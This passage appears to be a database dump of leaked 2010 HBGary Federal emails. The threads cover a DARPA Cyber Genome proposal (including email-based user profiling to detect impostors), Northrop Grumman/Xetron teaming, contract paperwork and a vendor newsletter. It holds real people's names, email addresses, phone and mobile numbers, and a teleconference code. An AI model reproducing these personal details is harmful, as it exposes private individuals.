time\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Local TOD(t): From a user&#8217;s email, automatically identify the user&#8217;s daily, weekly, monthly and yearly TOD\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Shared TOD(t): From a user&#8217;s email, automatically identify the user&#8217;s network of other users based upon TOD\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enterprise TOD(t): From an enterprise mail server, automatically identify both extended and disjointed TOD groups\r\n\r\n\r\n\r\nTemporal Behaviors (TB) over time\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Local TB(t): From a user&#8217;s email, automatically identify the user&#8217;s temporal patterns of activity within a day, week, month and year (routines/temporal patterns related to TOD)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enterprise TB(t): From an enterprise mail server, automatically identify group temporal patterns of activity within a day, week, month and year (routines related to enterprise topics of discourse)\r\n\r\n\r\n\r\nUser Authenticity (UA) over time&nbsp; [Note: User is an account or a node; Author is a person]\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Local UA(t): From a user&#8217;s email, automatically measure authorship as it applies to the user&#8217;s outgoing email (degree of own user&#8211;author consistency)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Shared UA(t): From a user&#8217;s email, automatically measure authorship as it applies to the senders of received email (degree of other user-author consistency)\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Enterprise UA(t): From an enterprise mail server, automatically measure authorship as it applies to all users (degree of enterprise user-author consistency)\r\n\r\n\r\n\r\nUsing the models of TOD, TB and UA either separately or in combination:\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect &amp; track new topics of discourse vice old topics of discourse within an enterprise and at a user level\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect &amp; track new users to a shared topic of discourse\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect new authors, i.e., &#8220;posers&#8221; or authors masquerading as other users\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect users performing new routines\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect users that don&#8217;t fit an existing user model\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Detect topic divergence, e.g., code word substitution within email text\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; More&#8230;\r\n\r\n\r\n\r\nI loosely structured the above ideas into &#8220;functions&#8221; but in the end, you really need to express your opinion on whether these functions are doable or not.&nbsp; If we have a shot on these concepts, then I could write Kyle&#8217;s ONR CND/IA white paper (based upon Topic 2) and you could focus on Topic 1 for the DARPA Cyber Genome response.&nbsp; [Not sure how we support HBGary&#8217;s response to Topic 3 yet.]\r\n\r\nPer your question on how we roll in Xetron, HBGary, EndGame, etc., I&#8217;ll present these ideas to Brian and get his spin.\r\n\r\n\r\n\r\nMark\r\n\r\n\r\n\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Dunkelberger, Kirk A.\r\nSent: Tuesday, February 23, 2010 9:26 PM\r\nTo: Akey, Mark L.\r\nSubject: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\nI\'m really more in favor of topic 1.&nbsp; It deals with the artifacts alone, so no ancillary data will be needed / need be considered.&nbsp; We have algorithms / feature sets (or at least concepts) for lineage (which I did for SABRE last year) and provenance (at least Brad identified the features - I haven\'t tried them).&nbsp; Heredity plays into our desire to develop Medley - the ties that bind artifacts together.&nbsp; Between the supervised filters and unsupervised clustering, we can present a very credible case in all these areas (including the concepts that we have in mind for heredity).&nbsp; \r\n\r\nMy concern with&nbsp; topic 2 is the volume of data, our relative naïve experience in the area (unless we invoke Xetron SMEs), etc.&nbsp; Complicate this with the brief, abstract definition of the task and I get the willies (that\'s a technical term).\r\n\r\nThat\'s my $0.02 anyway.&nbsp; Is it your intent to write either of these in tight coupling with HBGary, Xetron, others?\r\n\r\n_____________________________________________ \r\n\r\nFrom: &nbsp; Akey, Mark L.&nbsp; \r\n\r\nSent:&nbsp;&nbsp; Monday, February 22, 2010 2:40 PM\r\n\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Akey, Mark L.; Dunkelberger, Kirk A.\r\n\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RE: DARPA Cyber Genome BAA\r\n\r\nKirk,\r\n\r\nAttached is a Volume 1 template for the Cyber Genome response.&nbsp; Below are the two technical areas that we need to consider.&nbsp; Given the exhaustive nature of the proposal (lots of issues to address and &#8220;prove&#8221; &#8211; see attachment), I suggest that we respond to only one task.&nbsp; Of the two, I believe we have more to offer in Task 2 (I think).&nbsp; What&#8217;s your opinion?\r\n\r\nMark\r\n\r\n1.1.3.1&nbsp; Technical Area One: Cyber Genetics \r\n\r\nLineage &#8211; the ancestors and/or descendants of digital artifacts.&nbsp;&nbsp; \r\n\r\n&nbsp;&nbsp; \r\n\r\nProvenance &#8211; the author and/or development environment of digital artifacts.&nbsp;&nbsp; \r\n\r\n\r\n\r\nHeredity &#8211; the passing of traits from ancestors to descendants.\r\n\r\nThis technical area will identify the lineage and provenance of digital artifacts from the properties and behavior of the digital artifacts.&nbsp; Performers will develop automated technologies to gain a revolutionary understanding of the relationships between the elements of a set of artifacts, or to place artifacts into performer-defined categories. \r\n\r\nExamples of revolutionary technologies include but are not limited to:\r\n\r\n\r\nCreation of lineage trees for a class of digital artifacts to gain a better understanding of software evolution.\r\n\r\nIdentification and categorization of new variants of previously seen digital artifacts to reduce the threat of new &#8220;zero-day&#8221; attacks that are variants of previously seen attacks. \r\n\r\nDetermination or characterization of digital artifact developers or development environments to aid in software and/or malware attribution.\r\n\r\n1.1.3.2&nbsp; Technical Area Two: Cyber Anthropology and Sociology\r\n\r\nThis technical area will investigate the social relationships between artifacts, binaries, and/or users.&nbsp; Performers will develop automated technologies to gain a revolutionary understanding of the interactions between user, software, and/or other elements on a system or systems.\r\n\r\n&nbsp;Examples of revolutionary technologies include but are not limited to:\r\n\r\nIdentification and/or validation of DoD users from their host and/or network behavior.&nbsp;&nbsp; &#8220;Something you do&#8221; may augment existing identification and/or authentication technologies to discover &#8220;insiders&#8221; within DoD networks with malicious goals or objectives.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&lt;&lt; File: NGES DARPA Cyber Genome Volume 1.docx &gt;&gt; \r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Monday, February 22, 2010 12:19 PM\r\nTo: Dunkelberger, Kirk A.\r\nSubject: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n&nbsp;&lt;&lt; File: DARPA-BAA-10-36_Cyber_Genome__01.28.2010.docx &gt;&gt; \r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n\r\n',2060,'aaron_hbgary_com/2060.html'),(3090,'2010-02-25','\"The VMware Team\" <vmwareteam@connect.vmware.com>','/aaron@hbgary.com/new/1297001457.M516446P3547Q3090.eml','AARON@HBGARY.COM','Register Now: Washington D.C. Virtualization Forum - Attend Hands on Labs','\r\n\r\n\r\n\r\nVMware\r\n\r\nView this email on mobile devices | Online version\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n    &nbsp;\r\n    \r\n  \r\n  \r\n    &nbsp;\r\n    \r\n   Virtualize. Optimize. Energize.\r\n   Join us in a city near you. Register Now.\r\n   Virtualization and Cloud Computing are considered by analysts two of the top priorities for IT Professionals in 2010.  VMware&reg; Virtualization Forum is a free, interactive event where you will learn about virtualizing your business infrastructure from experts, industry analyst and companies like yours. Speakers from companies of all sizes will discuss virtualization solutions for the desktop, datacenter and cloud.\r\n   This is the only regional event completely dedicated to virtualization and it is your opportunity to:\r\n   \r\n     Get ready for Windows 7 migration with our Desktop solutions\r\n     Learn about VMware vSphere&trade; the industry\'s most reliable platform for datacenter virtualization \r\n     Learn how to add capacity on demand to your IT infrastructure with cloud computing \r\n     Run your business-critical applications, including Exchange, SQL, SAP and Oracle with better performance and reliability \r\n     Get your hands on our software with FREE labs for attendees. \r\n   \r\n   If you are new to virtualization or a VMware customer eager for more information about maximizing your current virtualization investment, this is a \"must attend\" event for you. \r\n  \r\n  The VMware Team\r\n  P.S. Don\'t miss FREE Hands On Labs&mdash;new this year for all attendees in all cities\r\n    \r\n    \r\n\r\n      \r\n        \r\n          \r\n            \r\n              \r\n                Washington, D.C\r\n                April 14\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                Cincinnati\r\n                April 22\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                Dallas\r\n                April 29\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                Orange County\r\n                May 20\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                Boston\r\n                June 3\r\n              \r\n              \r\n                \r\n              \r\n              \r\n                Toronto\r\n                June 10\r\n              \r\n            \r\n            \r\n        \r\n        \r\n          \r\n        \r\n      \r\n    \r\n  \r\n  \r\n    &nbsp;\r\n    \r\n    &nbsp;\r\n  \r\n\r\n\r\n  \r\n    Email ID: 8250_Em1\r\n  \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVMware, Inc. 3401 Hillview Ave Palo Alto CA 94304 USA Tel 1-877-486-9273 Copyright © 2010 VMware, Inc. All rights reserved. VMware is a registered trademark of VMware, Inc. Thank you for registering with VMware. Any information that you provide to VMware will be treated in accordance with our Privacy Policy. To manage your profile and subscription preferences, please go to your&nbsp;VMware Profile here. To UNSUBSCRIBE completely from VMware communications, please click here. \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n',10951,'aaron_hbgary_com/10951.html'),(3091,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001457.M717147P3547Q3091.eml','\"Aaron Barr\" <aaron@hbgary.com>','Send me a copy of hte email that you sent to Conroy regarding comments about NGIS','\r\n\r\n\r\n\r\n\r\nSend me a copy of hte email that you sent to Conroy regarding comments about NGIS\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',12061,'aaron_hbgary_com/12061.html'),(3092,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001457.M912568P3547Q3092.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: One cnd','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHmmm&#8230;.&nbsp; Did not read the BAA from that perspective.&nbsp; Let me go\r\nreread.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 25, 2010 6:03 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: One cnd\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI meant the SSP.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 1:01 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure what you mean by that.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, February\r\n24, 2010 10:49 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: One cnd\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDoesn\'t the sap for secure enabled protocols fit?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHuh????&nbsp; Where r u?&nbsp; Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8269,'aaron_hbgary_com/8269.html'),(3093,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001458.M206866P3547Q3093.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA BAA response coordination','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSure thing.&nbsp; Send Chris an email early this morning.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 25, 2010 5:33 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: DARPA BAA response coordination\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nI need u to talk to gd first if that is ok.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 1:24 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk guys.&nbsp; We got less\r\nthan two weeks to get this done.&nbsp; What do your schedule look like tomorrow and\r\nFriday to discuss the complete plan?\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6323,'aaron_hbgary_com/6323.html'),(3094,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001458.M418575P3547Q3094.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: One cnd','it has a section on secure protocols, read that section.On Feb 25, 2010, at 10:39 AM, Masterson, Brian (Xetron) wrote:Hmmm….&nbsp; Did not read the BAA from that perspective.&nbsp; Let me go reread.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, February 25, 2010 6:03 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: One cnd&nbsp;I meant the SSP.&nbsp;On Feb 25, 2010, at 1:01 AM, Masterson, Brian (Xetron) wrote:Not sure what you mean by that.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, February 24, 2010 10:49 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: One cnd&nbsp;Doesn\'t the sap for secure enabled protocols fit?From my iPhoneOn Feb 24, 2010, at 10:42 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:Huh????&nbsp; Where r u?&nbsp; Newsroom?----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 24 09:29:20 2010Subject: One cndYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +fidelis + ig + ?Aaron&nbsp;From my iPhone&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16834,'aaron_hbgary_com/16834.html'),(3095,'2010-02-25','\"Harris, Irene G (TASC Inc)\" <irene.harris@TASC.COM>','/aaron@hbgary.com/new/1297001458.M651298P3547Q3095.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC Inc)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC Inc)\" <raymond.heider@TASC.COM>,\"Hill, Lawrence C (TASC Inc)\" <lawrence.hill@TASC.COM>,\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC Inc)\" <GERALD.BRUNSTJR@tasc.com>','RE: COIN follow up','\r\n\r\n\r\n\r\n\r\nRE: COIN follow up\r\n\r\n\r\n\r\n\r\nAll &#8211; heads up\r\n\r\n\r\n\r\nThe meeting may be starting 15 minutes late due to a conflict that came up for Al and John.&nbsp; FYI &#8211; will go ahead and open the conference line at noon for those calling in. Will keep everyone posted\r\n\r\nThank you,\r\n\r\nIrene\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Harris, Irene G (TASC Inc) On Behalf Of Pisani, Albert A.\r\nSent: Wednesday, February 24, 2010 10:41 AM\r\nTo: Pisani, Albert A.; \'Aaron Barr\'; Clair, Chris (TASC Inc); Garcia, Kathy (TASC Inc); Heider, Raymond A (TASC Inc); Hill, Lawrence C (TASC Inc); Lovegrove, John (TASC Inc); Brunst Jr, Gerald R (TASC Inc)\r\nSubject: COIN follow up\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: WF4 -- Executive Conference Room and Teleconference: 866.740.2200, x4182684#\r\n\r\n\r\n\r\nUpdated &#8211; 2/25/10\r\n\r\nAttendance list updated: Jerry Brunst\r\n\r\nLunch will be provided\r\n\r\n------------------------\r\n\r\nMeeting time: 12:00-1:00 pm EST\r\n\r\n\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n\r\n\r\n\r\n',1227,'aaron_hbgary_com/1227.html'),(3096,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001458.M863675P3547Q3096.eml','\"Ted Vera\" <ted@hbgary.com>','AFRL Full Spectrum Cyber Operations BAA','https://www.fbo.gov/index?s=opportunity&mode=form&id=0b64e75bae01098dd431258b91d39474&tab=core&_cview=0\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16031,'aaron_hbgary_com/16031.html'),(3097,'2010-02-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001460.M273240P3547Q3097.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Cyber Genome Proposal Effort - Supplemental Reps/Certs','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGD sent HBGary these reps and certs.&nbsp; I replied to them that I\r\nwas forwarding it to you (HBG Fed).\r\n\r\n&nbsp;\r\n\r\nSeems strange that they would send us these docs when they will\r\nbe acting as the sub.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Thursday, February 25, 2010 10:50 AM\r\nTo: penny@hbgary.com\r\nCc: Brown, Glenn M.; Corcino, Stefanie E.; bob@hbgary.com\r\nSubject: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGood Morning\r\nMs. Leavy,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn support of\r\nthe subject proposal effort please complete the attached Supplemental\r\nRepresentations and Certifications&nbsp;and return to me by COB today.&nbsp;\r\nThis information will assist GDAIS in determining the correct\r\nproposal/subcontract type for your company.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf you have\r\nany questions please call me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe look\r\nforward to working with your company on this proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy Larson\r\n\r\n\r\n\r\n\r\n\r\nGDAIS Sr.\r\nLead Specialist, Contracts\r\n\r\n\r\n\r\n\r\n\r\n480-441-4235\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/25/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8908,'aaron_hbgary_com/8908.html'),(3098,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001460.M930470P3547Q3098.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Genome Proposal Effort - Supplemental Reps/Certs','Can u fill this out?\r\n\r\nAaron\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Bob Slapnik\" \r\n> Date: February 25, 2010 11:26:11 AM EST\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: FW: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\n> \r\n> Aaron,\r\n>  \r\n> GD sent HBGary these reps and certs.  I replied to them that I was forwarding it to you (HBG Fed).\r\n>  \r\n> Seems strange that they would send us these docs when they will be acting as the sub.\r\n>  \r\n> Bob\r\n>  \r\n>  \r\n> From: Larson, Cindy S. [mailto:Cindy.Larson@gd-ais.com] \r\n> Sent: Thursday, February 25, 2010 10:50 AM\r\n> To: penny@hbgary.com\r\n> Cc: Brown, Glenn M.; Corcino, Stefanie E.; bob@hbgary.com\r\n> Subject: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\n> Importance: High\r\n>  \r\n> Good Morning Ms. Leavy,\r\n>  \r\n> In support of the subject proposal effort please complete the attached Supplemental Representations and Certifications andreturn to me by COB today.  This information will assist GDAIS in determining the correct proposal/subcontract type for your company.\r\n>  \r\n> If you have any questions please call me.\r\n>  \r\n> We look forward to working with your company on this proposal.\r\n>  \r\n> Regards,\r\n>  \r\n> Cindy Larson\r\n> GDAIS Sr. Lead Specialist, Contracts\r\n> 480-441-4235\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/25/10 02:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3860,'aaron_hbgary_com/3860.html'),(3099,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001461.M286830P3547Q3099.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','','http://www.team-cymru.org/Services/battle.html\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16188,'aaron_hbgary_com/16188.html'),(3100,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001461.M552848P3547Q3100.eml','\"Rushing, Michael A. (Xetron)\" <Michael.Rushing@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron Barr','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLet me make the introductions.   Mike Rushing is our contracts\r\nmanager at Xetron.  Aaron Barr is the CEO of HBGary Federal. \r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\nCan you please work with Mike on the modifications to our PIEA\r\nto cover all information exchange that we have discussed to date.\r\n\r\n&nbsp;\r\n\r\nMike,\r\n\r\nHere is Aaron’s contact info:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rushing, Michael A.\r\n(Xetron) \r\nSent: Thursday, February 18, 2010 5:49 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: RE: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI hadn’t developed any specific text yet – wanted to talk with\r\nAaron so we both could understand each other’s constraints and then develop\r\nsome wording that would satisfy both.&nbsp; How about this:&nbsp; I’m actually\r\nnot leaving town until early afternoon – I have some things I have to do in the\r\nmorning but I could come in first thing and meet with you and Aaron – shouldn’t\r\ntake more than 15-20 minutes.&nbsp;&nbsp; Could we do it around 8:15?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike Rushing\r\n\r\nContracts Manager\r\n\r\nNorthrop Grumman - Xetron\r\n\r\nTelephone: (513) 881-3263\r\n\r\nMobile: (513) 473-9498\r\n\r\nFax:&nbsp; (513) 881-3882\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Thursday, February 18, 2010 5:44 PM\r\nTo: Rushing, Michael A. (Xetron)\r\nSubject: Re: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. Can you send me the language that want to use? I\'ll get with\r\naaron on it.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rushing, Michael A. (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Thu Feb 18 16:35:47 2010\r\nSubject: 